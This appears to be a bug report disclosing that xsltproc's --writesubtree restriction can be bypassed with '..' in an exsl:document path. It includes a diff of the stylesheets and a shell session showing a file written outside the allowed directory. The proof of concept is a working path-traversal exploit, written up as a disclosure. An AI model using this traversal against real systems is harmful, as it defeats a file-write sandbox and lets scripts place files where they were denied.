The command line option 

--writesubtree 

for the command xsltproc does not check for ".."

The xslt script can thus write outside the directory specified with "--writesubtree".

See the following example: 

user@ubuntu:/tmp$ diff -u test1.xsl test2.xsl
--- test1.xsl                  2010-10-31 09:30:40.102110000 +0100
+++ test2.xsl                  2010-10-31 09:34:55.746110001 +0100
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" version="1.0" extension-element-prefixes="exsl">
   <xsl:template match="/">
-    <exsl:document href="/tmp/dir1/a.xml">
+    <exsl:document href="/tmp/dir2/../dir1/a.xml">
       <a/>
     </exsl:document>
   </xsl:template>
user@ubuntu:/tmp$ ls /tmp/dir1
user@ubuntu:/tmp$ xsltproc --writesubtree /tmp/dir2 test1.xsl test.xml
runtime error: file test1.xsl line 4 element document
File write for /tmp/dir1/a.xml refused
runtime error: file test1.xsl line 4 element document
xsltDocumentElem: write rights for /tmp/dir1/a.xml denied
no result for test.xml
user@ubuntu:/tmp$ ls /tmp/dir1
user@ubuntu:/tmp$ xsltproc --writesubtree /tmp/dir2 test2.xsl test.xml
user@ubuntu:/tmp$ ls /tmp/dir1
a.xml
user@ubuntu:/tmp$ ls /tmp/dir2
user@ubuntu:/tmp$ cat /tmp/test1.xsl
<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" version="1.0" extension-element-prefixes="exsl">
  <xsl:template match="/">
    <exsl:document href="/tmp/dir1/a.xml">
      <a/>
    </exsl:document>
  </xsl:template>
</xsl:stylesheet>
user@ubuntu:/tmp$ cat /tmp/test2.xsl 
<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" version="1.0" extension-element-prefixes="exsl">
  <xsl:template match="/">
    <exsl:document href="/tmp/dir2/../dir1/a.xml">
      <a/>
    </exsl:document>
  </xsl:template>
</xsl:stylesheet>
user@ubuntu:/tmp$ cat /tmp/test.xml
<?xml version="1.0" encoding="UTF-8"?>
<foo/>
user@ubuntu:/tmp$ cat /etc/issue
Ubuntu 10.10 \n \l

user@ubuntu:/tmp$ xsltproc --version
Using libxml 20707, libxslt 10126 and libexslt 815
xsltproc was compiled against libxml 20707, libxslt 10126 and libexslt 815
libxslt 10126 was compiled against libxml 20707
libexslt 815 was compiled against libxml 20707



cheers,
Erik Sjölund